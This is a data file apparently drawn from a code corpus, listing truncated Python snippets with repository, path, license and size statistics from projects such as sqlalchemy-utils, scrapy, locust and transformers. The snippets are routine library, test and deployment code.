#!/bin/python # -*- Mode: python; c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 40 -*- # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. ''' Script to generate Th...
mpl-2.0
-6,609,594,954,600,994,000
32.43662
79
0.669756
false
cheungpat/sqlalchemy-utils
sqlalchemy_utils/types/currency.py
1
2037
babel = None try: import babel except ImportError: pass import six from sqlalchemy import types from sqlalchemy_utils import ImproperlyConfigured from sqlalchemy_utils.primitives import Currency from .scalar_coercible import ScalarCoercible class CurrencyType(types.TypeDecorator, ScalarCoercible): """ ...
bsd-3-clause
-8,878,608,680,686,917,000
24.4625
79
0.621993
false
Instawork/django-rest-framework-json-api
example/tests/integration/test_pagination.py
1
2115
from django.core.urlresolvers import reverse import pytest from example.tests.utils import dump_json, redump_json pytestmark = pytest.mark.django_db def test_pagination_with_single_entry(single_entry, client): expected = { "data": [ { "type": "posts", "id": "...
bsd-2-clause
-7,632,098,763,866,832,000
29.652174
89
0.354137
false
pycarolinas/pycarolinas_org
fabfile.py
1
1362
import os import re import datetime import string import json from fabric.contrib.project import rsync_project from fabric.contrib.files import upload_template from fabric.api import local, run, sudo from fabric.state import env from fabric.context_managers import cd dev_conf = json.load(open('dev_conf.json')) env.ho...
mit
-4,509,938,444,805,112,300
28.608696
162
0.727606
false
ioram7/keystone-federado-pgid2013
build/lxml/setup.py
1
7602
import os import re import sys import fnmatch # for command line options and supported environment variables, please # see the end of 'setupinfo.py' try: import Cython # may need to work around setuptools bug by providing a fake Pyrex sys.path.insert(0, os.path.join(os.path.dirname(__file__), "fake_pyrex"...
apache-2.0
6,812,969,616,549,763,000
32.9375
115
0.638253
false
Plasmatium/google-python-exercises
basic/solution/mimic.py
1
2998
#!/usr/bin/python -tt # Copyright 2010 Google Inc. # Licensed under the Apache License, Version 2.0 # http://www.apache.org/licenses/LICENSE-2.0 # Google's Python Class # http://code.google.com/edu/languages/google-python-class/ """Mimic pyquick exercise -- optional extra exercise. Google's Python Class Read in the ...
apache-2.0
8,982,271,780,434,043,000
29.282828
78
0.693796
false
jmwenda/hypermap
hypermap/aggregator/tests/test_warper.py
1
1877
# -*- coding: utf-8 -*- """ Tests for the WMS Service Type. """ import unittest from httmock import with_httmock import mocks.warper from aggregator.models import Service class TestWarper(unittest.TestCase): @with_httmock(mocks.warper.resource_get) def test_create_wms_service(self): # create the ...
mit
-4,989,812,792,306,742,000
31.362069
93
0.623868
false
marvin-ai/marvin-python-toolbox
tests/common/test_data_source_provider.py
1
2519
#!/usr/bin/env python # coding=utf-8 # Copyright [2017] [B2W Digital] # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by...
apache-2.0
-8,286,194,955,248,077,000
34.478873
123
0.676459
false
mingot/detectme_server
detectme/detectors/migrations/0003_auto__add_field_detector_training_log.py
1
8577
# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding field 'Detector.training_log' db.add_column(u'detectors_detector', 'training_log', ...
mit
324,546,438,016,698,240
72.316239
187
0.558237
false
bionet/ted.python
demos/iaf_delay_demo.py
1
3443
#!/usr/bin/env python """ Demos of MIMO time encoding and decoding algorithms that use IAF neurons with delays. """ # Copyright (c) 2009-2015, Lev Givon # All rights reserved. # Distributed under the terms of the BSD license: # http://www.opensource.org/licenses/bsd-license import numpy as np # Set matplotlib backe...
bsd-3-clause
3,058,591,314,712,588,300
29.469027
78
0.600349
false
hivam/doctor_psychology
models/doctor_hc_report_psicologia_inherit.py
1
1378
# -*- encoding: utf-8 -*- # ############################################################################# # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the ...
agpl-3.0
-6,713,229,931,846,211,000
36.243243
117
0.640058
false
groboclown/whimbrel
installer/whimbrel/install/util/termcolor.py
1
8654
""" A Windows and ANSII coloring library. """ from sys import stdout __ALL__ = ['out', 'outln'] VERSION = (1, 0, 0) try: # Colors text in console mode application (win32). # Uses ctypes and Win32 methods SetConsoleTextAttribute and # GetConsoleScreenBufferInfo. # # source: https://www.burgaud.com...
apache-2.0
5,236,865,429,722,387,000
28.435374
86
0.547608
false
JohnDMcMaster/uvscada
nuc/gscsv.py
1
1553
#!/usr/bin/env python import time import argparse import json from uvscada.nuc import pulser from uvscada.nuc import alsa_util def cap(jf): def jput(j): jf.write(json.dumps(j, sort_keys=True) + '\n') print 'Configuring ALSA' asrc = alsa_util.ALSASrc() print 'looping' # 400 w/o, 7300...
bsd-2-clause
-2,728,910,544,904,184,000
28.865385
85
0.576304
false
davivcgarcia/python-dcc-ufrj
Exercicios - Lista Paulo Roma/Lista 1/ex4.py
1
1158
#! /usr/bin/env python # coding: utf-8 # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program...
gpl-3.0
-2,848,325,380,548,143,600
30.972222
74
0.677672
false
suutari/shoop
shuup/admin/modules/orders/json_order_creator.py
1
15127
# -*- coding: utf-8 -*- # This file is part of Shuup. # # Copyright (c) 2012-2016, Shoop Commerce Ltd. All rights reserved. # # This source code is licensed under the AGPLv3 license found in the # LICENSE file in the root directory of this source tree. from __future__ import unicode_literals from copy import deepcopy ...
agpl-3.0
-941,524,889,362,125,800
38.703412
116
0.601111
false
pyrocko/pyrocko
src/ext/pyavl-1.12/setup.py
1
2116
# http://pyrocko.org - GPLv3 # # The Pyrocko Developers, 21st Century # ---|P------/S----------~Lg---------- # file: setup.py from distutils.core import setup, Extension import sys __VERSION__ = "1.12_1" laius = """This small C package is comprised of an independent set of routines dedicated to manipulating AVL tree...
gpl-3.0
-1,963,531,965,556,900,400
32.0625
73
0.68242
false
locustio/locust
locust/test/testcases.py
1
5818
import base64 import logging import random import sys import unittest import warnings from io import BytesIO import gevent import gevent.pywsgi from flask import Flask, Response, make_response, redirect, request, send_file, stream_with_context import locust from locust import log from locust.event import Events from ...
mit
1,859,846,979,491,025,200
27.519608
113
0.660021
false
lmazuel/azure-sdk-for-python
azure-mgmt-servicebus/azure/mgmt/servicebus/models/check_name_availability.py
1
1132
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes ...
mit
7,672,745,851,029,361,000
31.342857
76
0.583922
false
huggingface/transformers
src/transformers/pipelines/base.py
1
30282
# coding=utf-8 # Copyright 2018 The HuggingFace Inc. team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable...
apache-2.0
8,440,981,556,735,697,000
37.477764
137
0.613665
false
sha-red/django-shared-utils
shared/utils/management/commands/fix_proxymodel_permissions.py
1
1509
# -*- coding: utf-8 -*- """Add permissions for proxy model. This is needed because of the bug https://code.djangoproject.com/ticket/11154 in Django (as of 1.6, it's not fixed). When a permission is created for a proxy model, it actually creates if for it's base model app_label (eg: for "article" instead of "about", ...
mit
2,577,458,159,359,952,400
34.093023
79
0.664016
false
wujuguang/scrapy
tests/test_engine.py
1
11123
""" Scrapy engine tests This starts a testing web server (using twisted.server.Site) and then crawls it with the Scrapy crawler. To view the testing web server in a browser you can start it by running this module with the ``runserver`` argument:: python test_engine.py runserver """ from __future__ import print_...
bsd-3-clause
556,884,160,656,988,860
35.588816
111
0.632383
false
BorisJeremic/Real-ESSI-Examples
analytic_solution/test_cases/Contact/Static_Normal_Contact/Normal_Behviour/SoftContact_NonLinHardSoftShear/plot.py
1
1585
#!/usr/bin/python import h5py import matplotlib.pylab as plt import sys import numpy as np; ################ Node # 2 Displacement ############################# ####################################### ## Analytical Solution ####################################### finput = h5py.File('Analytical_Solution.feioutput') ...
cc0-1.0
8,658,133,854,043,327,000
29.480769
84
0.60694
false
linkinwong/word2vec
src/crf-paper-script/preprocessor9_complete_ngram.py
1
8544
# coding: utf-8 __author__ = 'linlin' import os import logging import re import pdb import string logger = logging.getLogger(__name__) ################################################################ root_dir = '/home/linlin/time/0903_classify_false_start/1003_raw_features/' separator = '\t\t' #######################...
apache-2.0
-2,062,712,346,878,222,600
32.620553
110
0.533388
false